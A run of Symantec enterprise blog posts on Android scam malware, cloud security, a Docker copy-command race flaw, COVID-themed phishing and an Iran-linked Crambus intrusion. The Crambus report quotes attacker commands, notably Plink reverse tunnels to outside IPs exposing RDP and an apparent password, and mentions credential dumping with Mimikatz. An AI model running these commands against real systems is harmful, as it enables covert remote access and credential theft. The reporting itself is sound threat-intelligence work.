Webview vs browser: Using a webview to present web content affords some protections to the scammer: since the address bar doesn't exist in the webview context, the user can't see a potentially alarm-raising URL. Additionally, typical anti-scam/spam technology focuses on browser as opposed to webview instances. There are examples of this malware that uses the browser instead of webviews. This indicates a confidence in the malware/ad networks on the part of the malicious actors (they're less worried about users sniffing out strange URLs). The web-hosted portion of the functionality involved in these scams utilizes web redirect responses (HTTP Response 302), as well as redirect meta-elements to hide and protect malicious content from web resources that might be associated with scams via analysis.
Leveraging device admin: Although it can be a tip-off revealing malicious applications, a presentation of the "device admin" dialog can pay off for the bad guy in the long run. If the user allows the app device admin, the app has free rein to overwrite dialogs, persist across safeguards against malware, and gain access to data that typical apps don't have. If an app asks for "device admin," the rule of thumb is to decline unless you understand why it would be required.
Mitigation
Above we've outlined a hostile and subtle set of actions and innovations designed to tease money out of mobile users' pockets and into malicious actors'. Take the following measures to protect yourself against this growing and evolving form of online threat:
Keep your software up to date
Do not download apps from unfamiliar sites
Only install apps from trusted sources
Pay close attention to the permissions requested by apps
Make frequent backups of important data
Install a suitable mobile security app, such as Norton, to protect your device and data
Protection
Symantec and Norton products detect the malware discussed in this blog as Android.Fakeyouwon.
|
Connecting the Dots with Symantec Cloud Workload Protection and AWS Security Hub
When it comes to the cloud everyone is looking to automate manual tasks. Here’s an easy way to automate investigation and remediation
It always fascinates me to learn history and see how we repeat patterns but with new challenges. Case in point is the history of our phone system. Alexander Graham Bell unveiled the first telephone in 1876. Although the phone eventually changed the world, in its early days the phone had limited use due mostly to an inability to scale. The phone couldn’t carry sound over long distances, and there weren’t any phone numbers or operators back then. If you wanted to talk to more than one person, you’d need a direct line to each person.
Based on these limitations, the telegraph remained popular until the introduction of switchboards. With switchboards, customers could now use a single phone line to connect to more than one person. The process was manual – you had to talk to an operator – but the concept took off and eventually paved the way for the mobile smartphone that you’re probably using right now to read this blog. The iconic image of a telephone operator sitting at a lit-up switchboard, wearing headphones and directing phone calls, will forever symbolize our first attempts at scaling the phone system.
This image recently popped into my head as I was interviewing one of our customers about how they handle security events in Amazon Web Services (AWS). The customer walked me through a scenario where he gets security alerts (findings) from Amazon GuardDuty and then logs into Symantec Cloud Workload Protection (CWP) to look up events for the same period. Sometimes the results are conclusive that there was no security compromise, but sometimes there’s enough ambiguity that he does some additional steps. These steps can include running a manual scan using CWP, correlating events between different systems, backtracking logs, cleaning up files, and then watching more events come in to make sure the problem has been resolved. I couldn’t help but imagine the customer sitting in front of a “security switchboard”, trying to connect the dots by correlating timestamps from one service to another in an attempt to determine if a compromise has really happened or if the finding was benign.
Unfortunately, this problem isn’t uncommon. Many customers who follow a Defense in Depth approach wind up using multiple security services and tools. An alert from one service may just as easily mean a compromise or turn out to be noise. Customers often fall back on manual intervention to make sense of all the alerts or don’t know for certain what happened and hope for the best.
This is hardly a model of efficiency, and when it comes to the cloud everyone is looking to automate manual tasks. When we looked at how our customers were using native AWS security services, we thought wouldn’t it be great if you could ingest a finding from one of these services and then automate the process of scanning EC2 instances and applications for a deeper level of investigation. That thought led us to integrate CWP with the newly-announced AWS Security Hub.
Launched as public preview during AWS re:Invent 2018, AWS Security Hub is designed to provide users with a comprehensive view of their high-priority security alerts and compliance status by aggregating, organizing, and prioritizing alerts, or findings, from multiple AWS Services, such as Amazon GuardDuty, Amazon Inspector, and Amazon Macie as well as from other AWS Partner Networks (APN) security solutions.
The best part is that integrating CWP with the AWS Security Hub is straightforward.
CWP integrates with the AWS Security Hub by allowing customers to execute remediation steps like anti-malware scans, identifying exploits, quarantining files, and publishing those scan results to AWS Security Hub. Customers can use this information to help determine if their Amazon EC2 instances, applications, or containers have become compromised, and use CWP to create security policies to mitigate exposures.
The best part is that integrating CWP with the AWS Security Hub is straightforward. If you’re a current CWP customer, just follow the steps outlined in Integration with AWS Security Hub. If you haven’t had a chance to use CWP, sign up for a free trial in the AWS Marketplace and follow the same steps listed before.
Just like the switchboard for the early telephone system, CWP integration with AWS Security Hub allows customers to scale their security teams and provides an easy way to automate investigation and remediation. And that’s just the beginning! We’re looking to extend other CWP events and functionality to the AWS Security Hub. Leave us a comment below and let us know what type of integration you’d like to see in CWP and the AWS Security Hub.
If you found this information useful, you may also enjoy:
Symantec Cloud Workload Protection Suite
Symantec Announces Integration with Cloud Workload Protection and Amazon Web Services Security Hub
|
Containing Your Containers – It’s Time to Batten Down the Hatches
Another container security vulnerability - this time around a security hole in Docker's built-in container copy file command, which can be used to hijack server files
Docker has been exceptionally successful in adoption with cloud customers. But with great success also comes the attention of the best attackers in the world. Indeed, fairly obscure TOCTOU vulnerabilities are being discovered that, when properly exploited, can result in devastating consequences.
Aleksa Sarai, an Australian undergraduate and SUSE Linux developer who spends his spare time tracking down security holes, discovered a vulnerability in Docker containers - an underlying programming bug in the Docker command-line interface (CLI) tool’s copy file code, now known as CVE-2018-15664. This hole enables an attacker to misdirect file writes intended for container filesystems to the host filesystem. This potentially allows an attacker to get root-level, read-write access to any path on the host server.
This vulnerability could enable an attacker to overwrite the Docker host filesystem with malicious code. With this, containers on a server could be attacked, destroyed, or misused. All released versions of Docker through May 2019 have this security hole.
Technically, the exploit works because when an attacker invokes the Docker cp (copy) command they can plant their own symlink into a path in the milliseconds between when the path is resolved and when it’s actually operated on. This kind of security problem is well known as a Time-of-check Time-of-use (TOCTOU) Race Condition.
All released versions of Docker through May 2019 have this security hole.
In this particular case, Sarai explained, “The basic premise of this attack is that FollowSymlinkInScope suffers from a fairly fundamental TOCTOU vulnerability. The purpose of FollowSymlinkInScope is to take a given path and safely resolve it as though the process was inside the container.
After the full path has been resolved, the resolved path is passed around a bit and then operated on a bit later (in the case of 'docker cp' it is opened when creating the archive that is streamed to the client). … an attacker can add a symlink component to the path *after* the resolution but *before* it is operated on, then you could end up resolving the symlink path component on the host as root. In the case of 'docker cp' this gives you read *and* write access to any path on the host."
Docker states this attack would only work if the container was already compromised and “docker cp” was used to replicate the container files while the copy was being made--a vulnerability window that's only open for a few milliseconds.
And Docker is correct in stipulating that this breakout event can only happen in already vulnerable containers. However, attackers can keep inventory of containers and wait for new vulnerability disclosures. It’s also important to understand that Docker runtime provides the foundation for most modern containerized application and container orchestration platforms such as Kubernetes. If a Docker runtime program is compromised, an attacker could effectively take control of all containers running on the Docker host.
The TOCTOU vulnerability in the docker CLI command program, could be exploited by an attacker or even a rogue developer. A seemingly normal use of ‘docker cp’ command to write to a container file system that uses symlinks could effectively be used to maliciously overwrite host system files.
This new container vulnerability underscores once again the importance of full-stack runtime security for all of your container deployments.
Fortunately, Symantec Cloud Workload Protection (CWP) can protect your Docker containers against the Docker copy command TOCTOU vulnerability across Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), and Oracle Cloud Infrastructure (OCI).
This new container vulnerability underscores once again the importance of full-stack runtime security for all of your container deployments.
Symantec CWP does this by deploying runtime policies which protect containers with the TOCTOU vulnerability against attacks. In fact, CWP has been providing out-of-the-box protection against this type of attack for more than two years now. As soon as the CWP Docker policy is applied to your policy group, Docker host processes are immediately restricted from writing to arbitrary locations on the host system.
So, while container security problems are eternal, with the right overall security programs these problems can be easily mitigated.
|
Continuous Diagnostics and Mitigation Phases 3 and 4 Require a Holistic Cyber Approach
Agencies must understand how the advanced capabilities of the CDM program fit into their broader strategy
As the Continuous Diagnostics and Mitigation (CDM) program enters another stage, it requires a new way of thinking. While agencies will continue to buy tools to fill gaps in their defenses, they need to start thinking about how those tools fit into their larger cyber security strategy.
The first two phases of the program were very much tool-oriented, with a focus on automating the ability to detect the assets and people on a network. The task orders, issued against the CDM Tools/Continuous Monitoring as a Service blanket purchase agreements, typically ran two or three years.
CDM efforts shift gears with Phases 3 and 4, which are focused on more advanced capabilities, including incident response, mobile security, cloud security, network access controls and data protection.
Phase 3 and 4 task orders, which will be placed against the Dynamic and Evolving Federal Enterprise Network Defense (DEFEND) task order series through Alliant (and later Alliant 2), will run as long as six or seven years, reflecting the greater complexity of the work to be done.
CDM efforts shift gears with Phases 3 and 4, which are focused on more advanced capabilities, including incident response, mobile security, cloud security, network access controls and data protection.
These advanced capabilities will help agencies make significant strides in strengthening their cyber posture. Yet as important as these capabilities are, they can only go so far as long as they are deployed as stand-alone functions and not as part of an integrated cyber defense strategy.
Think about it from the perspective of a security operations center (SOC). The goal is not just to improve the security of cloud operations, for example, but to identify and mitigate threats to data and applications wherever they reside—whether in the cloud, in on-premise systems or mobile devices—and to understand how those threats to the cloud fit into the organization’s larger threat surface.
In acquiring CDM products and services to address different threat vectors, agencies need to think about this larger picture—about how the CDM offerings will work with each other and with other solutions in their enterprise.
And it’s more than a matter of integrating tools from a technical perspective. It’s about creating an integrated cyber defense platform that provides an agency with the ability to manage security operations across the entire enterprise, from identifying potential events and analyzing threat intelligence to orchestrating responses.
This holistic approach is even more important as we look to the future. In July, Rep. John Ratcliffe (R-Texas) introduced the Advancing CDM Act, which among other things would require DHS to ensure that CDM keeps up with advances in cyber security capabilities.
Whatever the fate of this particular proposal, it highlights the need for agencies to keep pace with advances in the private sector. Without a doubt, Symantec and other companies will be developing new tools that we cannot even imagine today. By establishing an integrated cyber defense platform now, agencies will be in a better position to quickly incorporate such advances into their operations.
It’s important to remember that CDM was never intended to be a comprehensive solution. Rather, the program was designed to provide a foundation for a true risk-based approach to cyber security, with a broader spectrum of cyber tools being required to address the risks. To realize the full benefits of CDM, agencies need to approach the program as a part of a more holistic cyber strategy.
Read more HERE about Continuous Diagnostics and Mitigation from the Department of Homeland Security.
|
Countdown to Catastrophe? Critical Infrastructure Bracing for 2018
Rising chorus of security experts urge action in advance of major attacks likely to hit within the next couple of years
When hackers affiliated with the Iranian government broke into the command and control system of a dam in upstate New York in 2013, one of cyber security’s worst-case scenarios suddenly became real.
This time we got off lucky. In its indictment, the US government said that the attackers failed to release water from behind the Bowman dam in Rye, New York because the sluice gate had been manually disconnected for maintenance at the time of the intrusion.
But as more companies in critical sectors such as energy, telecommunications, finance and utilities connect to the internet, there’s the heightened risk that foreign attackers will try to infect, and potentially cripple, U.S. infrastructure, putting lives and property at risk.
Indeed, the Federal Bureau of Investigation warned this past October that attackers were targeting the nation’s nuclear, energy, aviation, water and critical manufacturing industries, as well as government entities.
That unnerving prospect has not gone unnoticed by the people responsible for protecting the most critical sectors in the U.S. After holding regular, off-the-record meetings, a working group of security experts meeting at MIT the last two years warned the White House that “no one fully understood” how connected the electric industry is with other sectors, and therefore “did not sufficiently understand the risk of catastrophic, macroeconomic failure.” Further, the group faulted the government for “uncoordinated” actions on cyber security and “scattershot research and urged accelerated actions to protect the nation.
The MIT report, which got released in March, also predicted “destructive attacks” will take place within the next two years. Two months later, the WannaCry ransomware attack caused billions in damages, including freezing up some healthcare systems in the U.S. and overseas.
“We know that a number of increasingly sophisticated criminal organizations, as well as several nation states, could disable our critical infrastructure,” said Joel Brenner, who authored the MIT report.
“We have now put our security in the hands of hostile parties to be exploited at their discretion. If that doesn’t equal urgency, I don’t know what does,” said Brenner, a former counsel at the National Security Agency, and the former head of U.S. counterintelligence under the Director of National Intelligence.
The energy sector is being targeted, in particular.
Symantec, in early September, said that an overseas group known as Dragonfly has renewed its probing and attacks of utility operational systems. The report prompted two U.S. Senators, Ben Cardin and Chris Van Hollen, both Democrats from Maryland, to contact the Department of Homeland Security to inquire whether their state utilities were attacked, The Baltimore Sun reported.
The U.S. identifies 16 critical infrastructure industries, but the MIT meetings focused on what may be the most critical: Electricity, finance, communications and oil and natural gas.
Kunal Agarwal, general manager of Internet of Things at Symantec, said these industries have strong security governance around their user-focused systems. The problem centers around the cyber physical asset controls, he said.
The operational technology (OT) is “kind of forgotten,” said Agarwal. “We consistently see different types of devices -- machines -- that are largely unprotected because they are [running] end of life, end of service operating systems and those systems are not easily replaced,” he said.
The merging of IT and OT “is really realizing more and more threats,” according to Agarwal. OT technologies control physical devices and processes.
One approach to making OT more resilient is for “behavioral-based lockdown” technologies. Instead of security focused on anti-malware, the idea is take every single process “and put it into its own jail cells” so it’s only able to access a finite amount of memory, file and network resources. The behavior of those systems can then be “defined and then controlled,” he said.
Cyber vulnerabilities are sometimes the consequence of bad business decisions. For instance, businesses put generators in basements in Manhattan buildings, despite being at sea level. These backup generators flooded during Hurricane Sandy, said John Pescatore, SANS Institute director of emerging security trends.
“In most cases it’s much harder for cyber itself, without the bad business decision, to be the cause of catastrophic things,” said Pescatore. “But when you combine a bad business decision -- like we’re not going to patch Apache Struts -- with the things that can happen in cyber, then you can get really bad things to happen,” he said.
Big Attacks Only a Matter of Time
The warnings about cyber vulnerabilities to critical infrastructure are getting louder, especially over the last year.
The MIT group said it concurred with an open letter written in December by Edward Amoroso, the retired senior vice president and CSO of AT&T, to then President-Elect Trump. Advances in offensive capability “make it inevitable that significant, large-scale attacks will be launched” during Trump’s time in office. These attacks will shift from IP theft to destructive attacks, he wrote.
One approach to making OT more resilient is for “behavioral-based lockdown” technologies.
As serious as WannaCry was, it was a known risk. Affected organizations didn’t heed the warnings and make the needed system updates. A security researcher discovered a kill switch in the code that was used to shut the attack down.
“We got lucky,” said Gregory Touhill, a retired U.S. Air Force brigadier general and cyber security expert, about Wanna cry in his testimony for a U.S. House hearing in June. “I believe Wannacry was a slow-pitch softball while the next attack is likely to be a blazing fastball,” he said.
Brenner puts it this way: “Imagine what would happen if one of these organizations executed a ransomware attack on the electric grid of one our cities?”
“This isn’t fantasy stuff anymore. I think we are going to see things like this,” said Brenner.
|
COVID-19, Digital Transformation and Mission-Critical Identity Security
In 2020, the pandemic accelerated digital transformation and highlighted the importance of identity security
Overnight, we went from business as usual to working out of our homes and fundamentally changing the way work gets done.
The dramatic work shift forced by the pandemic pushed digital transformation to the top of the enterprise priority list. As organizations scrambled to support their newly remote workforce, they also had to deal with a customer base that increasingly needed a contactless and frictionless online digital interface. There was no time to plan – solutions that might have taken years to develop, needed to happen quickly, even if it meant breaking things along the way.
Identity is the front door and gatekeeper for virtually every major application and has taken on an even more critical role in the new digital world that has demolished traditional perimeters. Many people discovered that their neglected identity management solutions were not up to the scale and availability requirements that this transformation required.
Taking Center Stage
Identity security platforms have been running in the background for so long people have forgotten how valuable they are, but the pandemic changed that point of view in a hurry. Enterprises quickly learned that identity security is not just an adjunct, but a real driver of digital transformation.
For many enterprises, the challenge was to turn the way they do business inside-out. Instead of bringing people into secure office workspaces to access and use business apps and services, the reverse was required. Now the organization had to scale and secure those same apps and services to geographically separated users and their vast variety of digital devices.
What was surprising is that many organizations that had considered multi-year projects to shift their environments to point solutions that claimed to be “more modern” - was that their existing Symantec Identity Security solutions already supported modern standards together with the mission-critical scale and availability needed to support this digital transformation.
Symantec Identity Security offers a comprehensive and integrated approach to managing and protecting user access to apps and data; it has been a leader in this area for over twenty years. With the move to Symantec, these solutions are now an integral part of the Symantec Zero Trust Platform. Based on the simple premise of trust no one and enforcing least privileged access, the Symantec Identity Security solutions address the “people” pillar of the Zero Trust framework. When combined with the Symantec endpoint, network, and information security solutions, there is no vendor who offers better protection to secure your mission-critical apps and data.
In 2020, when IT organizations and business owners were tasked with making major changes, they realized they could gain tremendous value simply by leveraging their existing Symantec Identity Security solutions, often with little effort. The flexibility and scalability was already there; they just needed to be shown how to unlock this value and they were ready to deliver the services the business needed.
Partnering During the Pandemic
But our customers were not alone during this time. The Symantec engineering and product management teams moved quickly to help our customers address these emerging needs.
For example, as “shelter-in-place” orders were issued across the globe, one state government realized that unemployment was about to skyrocket, and they wanted to ensure that these impacted people could easily and quickly get access to the money they needed to survive. This customer reached out and asked us to help them scale their environments to handle the millions of requests they were anticipating. Our teams worked around the clock with the customer and was able to implement the changes needed within days. As we end the year, this site is still processing over 1000 times more unemployment requests than ever before.
Enterprises know they have in Symantec the solutions they need to accomplish their IT goals.
Similarly, a neighboring nation requested help to support the development and rollout of a new app to handle their equally unprecedented number of unemployment requests. This app was considered the number one priority for the government. Our team worked non-stop to enable that country’s revenue agency to deliver the app on-time, and it successfully processed nearly one million registrations the very first day -- more than 670 registrations per minute.
Finally, I am proud to share that our Identity Security solutions are also helping fight the pandemic on the front lines. One of our customers -- a private, not-for-profit hospital -- had labs capable of processing Covid-19 tests, but needed to enable drive-up testing sites to securely and remotely access their applications. Our team worked with the customer overnight, and they were able to make the changes necessary to enable this access within two days, which allowed the state to open additional drive-up testing sites faster than expected.
Better Together in 2021
As each of these examples demonstrate, we moved quickly to help our customers in 2020, and we are not slowing down in 2021. The changes brought on by the pandemic are not going to fade. If anything, transformation is only going to accelerate faster as every organization continues to face a world that wants to engage digitally.
The simple fact is that people will want to continue working the way they do now. You can’t put the genie back in the bottle. People like working remotely and communicating digitally, which creates challenges for not only the people working from home but all of the supporting infrastructure to support remote activities. Any new changes that will be made will be done to support continued digital transformation and the ability to support our customers, regardless of their environment. There is simply no turning back.
All of this is good news as we move into the New Year. Enterprises know they have in Symantec the solutions they need to accomplish their IT goals. The hard work is never over for us. Now, it’s time to improve and add future apps to grow our customer’s growth and success. We are already looking forward to working toward a better tomorrow and even greater success in 2021. At Symantec, we always have your back.
|
COVID-19 Outbreak Prompts Opportunistic Wave of Malicious Email Campaigns
Spammers, scammers, and other threat actors quick to take advantage of global panic surrounding coronavirus outbreak
Cyber criminals are rushing to take advantage of the COVID-19 pandemic and in recent weeks Symantec has observed dozens of new malicious email campaigns attempting to leverage public fears about the virus.
The threat actors behind these campaigns have employed a range of tactics in a bid to evade detection, such as using a variety of email templates along with heavy randomization of subject lines, “From” addresses, IP addresses, and URL domains.
When analyzing email campaigns from the month of March, the first wave was dominated by phishing and malspam (malware bearing) emails. However, as the month moved onwards, snowshoe spam took over as the most common form of campaign, accounting for more than 40 percent of all emails blocked by Symantec. This was following by phishing (30 percent), malspam (18 percent), and scams (9 percent).
Figure 1: Spam timeline in Week 1 and Week 2 of March 2020
Figure 2: Spam timeline in Week 3 and Week 4 of March 2020
Key features of malspam campaigns
Top subject line keywords: “COVID-19”, “corona”, “coronavirus”, and “masks”
Top malware categories: Generic Trojan, Infostealer, Backdoor, Downloader
Top payloads observed: Autoit Script, LokiBot, RATs/Stealer, AgentTesla, Maljava
Key features of snowshoe campaigns
Top subject line keywords: “COVID”, “corona”, “coronavirus”, and “masks”
Top domain names observed: “covid”, “corona”, “coronavirus” and “wuhan”. These were recently registered domains, ready to be used in spam campaigns
The most abused gTLDs observed were .biz, .cf, .info, .online, .xyz
A pattern of correlation
There was a sharp uptick in the number of malicious emails blocked by Symantec on March 16, with a surge of spam runs focused around selling face masks, medical equipment, immunity oil, and other products related to COVID-19 virus outbreak.
Figure 3: Blocked COVID-19 related emails during March 2020
Interestingly, this increase closely corresponded with the increase in the number of COVID-19 infections recorded in in Europe and the U.S.
Figure 4: Chart reflecting global daily new cases of COVID-19
CDC phishing emails
Figure 5. Phishing email purporting to come from the U.S. Centers for Disease Control and Prevention (CDC)
This email is crafted to appear as a message from the U.S. Centers for Disease Control and Prevention (CDC). It explains that the CDC is closely monitoring the coronavirus outbreak and has established an Incident Management System to coordinate a domestic and international public health response.
The recipient is then urged to click on a link that purports to lead to a list of new cases around their city. While the domain used in text appears to be “cdcinfo.gov”, hovering the cursor over the link will reveal the real, malicious URL the link leads to:
When clicked, it routes to:
In this spam run, the threat actor has made use of compromised domains to construct phishing URLs and has used a particular pattern – “/owa/owa.php?e=” in the URI path. The phishing URL opens a credential stealing webpage.
Figure 6: Phishing URL leads to credential stealing web page
Phishing email disguised as funding proposal
Another phishing campaign observed by Symantec used quite a short template to masquerade as a legitimate business email.
Figure 7. Phishing email disguised as funding proposal
This email urges the recipient to review coronavirus funding proposals, with “Access to View File” hyperlinking to a legitimate online document editor/viewer hosting the phishing content. The URL given in the email is as follows:
When opened, the document asks the viewer to enter their credentials. The use of legitimate file storage /sharing services and online document editors/viewers has increased rapidly from 2019 onwards, with threat actors leveraging these services because most of them are free.
Advance fee fraud scam
One example of a COVID-19 themed scam campaign seen by Symantec is an email pretending to come from the World Health Organization (WHO) and appears to be a classic example of advance fee fraud.
In this case, the email claims that the WHO has approved of $550,000 in funding to be distributed to 50 people in the U.S. to be used for the prevention of outbreaks of the disease. In order to receive the funds, the recipient is asked to get in touch via email with an agency in order to negotiate the transfer. In most cases, if the victim does respond, the scammers will then attempt to trick them into paying a fee in order to “release” the funds.
Figure 8. Scam email pretending to come from the World Health Organization (WHO)
COVID-19 themed extortion attempt
Another scam campaign features an attempt at extortion. The sender claims to be a neighbor of the recipient and says that they have been diagnosed with COVID-19 and are expecting to die. They then threaten to infect the recipient’s home unless they pay them. A Bitcoin wallet address is provided for the recipient to pay the extortion money.
Figure 9. Example of a COVID-19 related extortion scam
Surgical mask spam
The Coronavirus outbreak has also prompted a surge in demand for masks and other protective clothing. One spam campaign Symantec observed claimed to come from a surgical mask supplier in China. The sender says that COVID-19 is almost gone in their country and they can now start to sell to other countries.
Figure 10. Spam email offering surgical masks for sale
Offer of miracle “immunity oil”
One of the biggest snowshoe campaigns relating to the outbreak outlandishly offered “immunity oil” which could protect people from the virus.
Figure 11. Snowshoe spam offering COVID-19 “immunity oil”
Snowshoe campaigns are bit different than the other spam campaigns. Snowshoe distributors use a variety of originating IP addresses, domains and obfuscation in the email template in order to avoid detection. One of the peculiar characteristics of snowshoe spam runs is that they involve massive amounts of emails in short intervals of time. Threat actors also use heavy randomization in header fields in order to avoid detection.
In this example, the sender claims that a particular brand of oil can help to protect people from COVID-19 infection. This statement is supported by a news article which the threat actor has provided as an image in the email. A URL embedded within this image leads to spam content hosted on cloud storage – something a growing number of spammers are doing.
Threat actors also register domains on different gTLDs, which are useful to send snowshoe runs in short intervals. These recently registered domains are used both in header fields and URLs. The most abused gTLDs observed in these snowshoe campaigns are: .biz, .cf, .info, .online, .xyz. Symantec provides leading predictive filtering system focused on URLs and other email features to detect and block changes in the rapidly changing email threat landscape. This technique has also proved beneficial to detect the variation in these types of attacks.
Fake WHO email delivers malware
The WHO also featured in a recent malspam campaign seen by Symantec. The email mentions that new research on COVID-19 has proven to be effective and the WHO has thus decided to share a .pdf file containing information on safety measures and preventive vaccination.
Figure 12. Malware bearing email disguised as communication from the WHO
The email comes with an attachment named “Covid19_UPDATE.rtf.zip” Inside this compressed file is a link (LNK file) with .rtf file extension which points to powershell.exe with obfuscated data as parameters. As soon as the obfuscated content is decrypted, it constructs a URL using “TinyURL” service.
Figure 13. Malicious attachment contains a LNK file pointing to PowerShell
Figure 14. URL obfuscation using PowerShell script
This URL downloads cookies to
C:\Documents and Settings\admin\Application Data\Microsoft\Windows\Cookies\HPYWNBXU.txt
c:\Documents and Settings\admin\Cookies\ HPYWNBXU.txt
Figure 15. Contents of the cookies downloaded to the victim’s computer
After this, it tries to visit the following URL:
On execution, these files can be expected to download malicious content on user’s computer.
Protection against COVID-19 themed messages:
While there is always a need to protect your organization against malicious emails, at a time of fear and doubt, this need becomes more pronounced. Predictive filtering systems focused on URL and other email features are deployed in timely intervals to catch changes in the rapidly changing email threat landscape. With the help of predictive filtering system, threats that use email as a medium are filtered or blocked before they cause menace. This approach has also proved beneficial to detect the variation in these types of attacks and filter them down in terms of volume or scale.
Mitigation steps
Email users are requested to thoroughly check emails and if deemed suspicious, please report it to Symantec.
Question any emails requesting actions that seem unusual or aren't following normal procedures.
Analyze potential threats using analytics technologies that can pick up on the subtle differences between clean and infected emails and identify indicators of compromise.
Conduct end-user awareness training to raise overall awareness of phishing among employees.
Defense mechanisms
At Symantec, response teams strive hard to protect our customers by introducing new defense mechanisms against such challenging attacks. An array of defense mechanisms are deployed in different layers at .cloud and Symantec Mail gateway level to block similar attacks.
Symantec Email Security Cloud Data Protection: Provides granular control to identify suspicious messages based on various indicators and helps to flag messages that are coming from outside the organization.
Symantec Data Loss Prevention: Helps combat the data theft scenario by seamlessly integrating with our Email Security solutions.
Email threat isolation (ETI) from Symantec: Checks emails and attachments for phishing URLs or malicious content hosted on them. This technology de-risks the threat scenario by providing an extra layer of protection that allows users to safely browse unknown or shady websites, without risk of malware infection or credential theft. Symantec Email Threat Isolation is offered both within the Symantec Email Security. cloud solution and also as a standalone product that works with other vendor’s email security solution.
Symantec Enterprise Blogs
YOU MIGHT ALSO ENJOY
2 MIN READ
Malicious Android Apps Exploit Coronavirus Panic
Symantec found almost a dozen Android apps that pretended to be monitoring the Covid-19 outbreak but were actually infected with malware.
Symantec Enterprise Blogs
YOU MIGHT ALSO ENJOY
3 MIN READ
Symantec Is Making All The Right Moves for Customers
A reality check in the age of disinformation
|
Crambus: New Campaign Targets Middle Eastern Government
Iran-linked attackers compromised multiple computers and servers over the course of eight months.
The Iranian Crambus espionage group (aka OilRig, APT34) staged an eight-month-long intrusion against a government in the Middle East between February and September 2023. During the compromise, the attackers stole files and passwords and, in one case, installed a PowerShell backdoor (dubbed PowerExchange) that was used to monitor incoming mails sent from an Exchange Server in order to execute commands sent by the attackers in the form of emails, and surreptitiously forwarded results to the attackers. Malicious activity occurred on at least 12 computers and there is evidence that the attackers deployed backdoors and keyloggers on dozens more.
In addition to deploying malware, the attackers made frequent use of the publicly available network administration tool Plink to configure port-forwarding rules on compromised machines, enabling remote access via the Remote Desktop Protocol (RDP). There is also evidence the attackers modified Windows firewall rules in order to enable remote access.
Background
Crambus is a long-running Iranian espionage group that has mounted operations against targets in multiple countries, including Saudi Arabia, Israel, the United Arab Emirates, Iraq, Jordan, Lebanon, Kuwait, Qatar, Albania, the U.S., and Turkey.
The group is known to stage long-running intrusions for intelligence gathering and spying purposes. In recent years it has added a heavy social engineering component to the early stages of its attacks.
It most recently came to attention last year, when Microsoft linked the group to a destructive attack against the Albanian government. It assessed that Crambus was involved in gaining initial access and exfiltrating data from impacted networks. Wipers were likely then deployed by other Iran-linked actors.
Toolset Used
During this latest attack, Crambus deployed three previously undiscovered pieces of malware, along with the PowerExchange backdoor, a known backdoor that hadn’t yet been attributed to Crambus. In addition to malware, the attackers made use of a number of living-off-the-land and legitimate tools.
Backdoor.Tokel: Has the ability to execute arbitrary PowerShell commands and download files. The command and control (C&C) address is stored in a separate, RC4 encrypted file called token.bin, which is saved in the working directory.
Trojan.Dirps: Used to enumerate all files in a directory and execute PowerShell commands.
Infostealer.Clipog: Information stealing malware that is capable of copying clipboard data, capturing keystrokes and logging processes where keystrokes are entered.
Backdoor.PowerExchange: PowerShell-based malware that can log into an Exchange Server with hardcoded credentials and monitor for emails sent by the attackers. It uses an Exchange Server as a C&C. Mails received with “@@" in the subject contain commands sent from the attackers which allows them to execute arbitrary PowerShell commands, write files and steal files. The malware creates an Exchange rule (called ‘defaultexchangerules’) to filter these messages and move them to the Deleted Items folder automatically.
Mimikatz: Publicly available credential dumping tool.
Plink: A command-line connection tool for the PuTTY SSH client
Attack Timeline
The first evidence of malicious activity on the target’s network occurred on February 1, 2023, when an unknown PowerShell script (file name: joper.ps1) was executed from a suspicious directory: CSIDL_PROFILE\public\sat. The same script was executed multiple times on the same computer (Computer 1) over the next seven days.
Four days later, on February 5, the attackers accessed a second computer (Computer 2) and a renamed version of Plink (msssh.exe), a command-line connection tool for the PuTTY SSH client, was used to configure port-forwarding rules allowing for RDP access from a remote host:
CSIDL_PROFILE\public\sat\msssh.exe 151.236.19[.]91 -P [REMOVED]-C -N -R 0.0.0.0:54231:127.0.0.1:3389 -l [REMOVED] -pw [REMOVED]
This masqueraded Plink (mssh.exe) was executed repeatedly on this computer up until February 12.
On February 21, malicious activity commenced on a web server (Web Server 1) when a netstat command was executed to retrieve a full list of all TCP and UDP connections.
netstat /an
The netstat command line switches perform the following actions:
/a: Tells netstat to display all connections and listening ports.
/n: Tells netstat to display numerical addresses instead of resolving hostnames to IP addresses.
Next, Plink (mssh.exe) was launched again to enable remote RDP access. After this occurred, there was evidence that a PowerShell script was used to mount the C: drive of another computer on the network.
On April 8, the attackers gained access to a third computer (Computer 3), where another variant of Plink was executed from the %USERPROFILE%\public directory and was used to forward port 3389 to port 999 on all available interfaces:
CSIDL_PROFILE\public\plink.exe [REMOVED] -pw [REMOVED] -P [REMOVED] -2 -4 -T -N -C -R 0.0.0.0:999:127.0.0.1:3389
The options supplied in the command perform the following actions:
-2 -4: Enable SSH Version 2 and IPv4 protocol for the connection.
-T: Requests a pseudo-terminal for the remote session.
-N: Prevents running a remote command and often used for setting up a port
-R 0.0.0.0:999:127.0.0.1:3389: Specifies remote port forwarding. It instructs the remote server to listen on Port 999 of all network interfaces (0.0.0.0) and forward any incoming connections to Port 3389 (127.0.0.1:3389) on the local machine (the machine where the command has been run). This effectively sets up a tunnel that allows the attackers to access a remote service such as RDP through the SSH connection.
At the same time, an unknown batch file was executed, which redirected output to a text file in the %USERPROFILE%\public directory.
cmd /c CSIDL_PROFILE\public\p2.bat > CSIDL_PROFILE\public\001.txt 2>&1
Immediately afterwards, the same Plink command was run a second time. This is followed by the same unknown batch script being executed several more times.
Later that day, Mimikatz was executed from the %TEMP% directory to dump credentials.
On April 9, another netstat command was run on a new compromised computer, the Domain Controller (Computer 4):
netstat /aon
The “o” option adds the process ID (PID) of the associated process that's using each network connection or listening port. The command will provide a list of all active network connections, both incoming and outgoing, along with the associated PID of the processes using those connections. Three hours later, Mimikatz was run again to dump credentials.
The next day, April 10, an unknown windows batch file (file name: p.bat) was executed on Computer 3. This was followed by a Plink command:
plink.exe ssh 78.47.218[.]106 1234qweRRR 443 10999 10.75.45.222 3389
The options perform the following actions:
ssh: Indicates SSH protocol is being used for the connection.
78.47.218[.]106: The IP address of the remote server being connected to using SSH.
1234qweRRR: Likely a password required to authenticate to the remote server.
443: Port number for the SSH connection on the remote server.
10999: The local port number that Plink uses to create a tunnel.
10.75.45.222: IP address of local machine or network.
3389: Remote Desktop Protocol (RDP) port number. This indicates that traffic is being forwarded from the remote server's port 3389 to a local machine for remote desktop access.
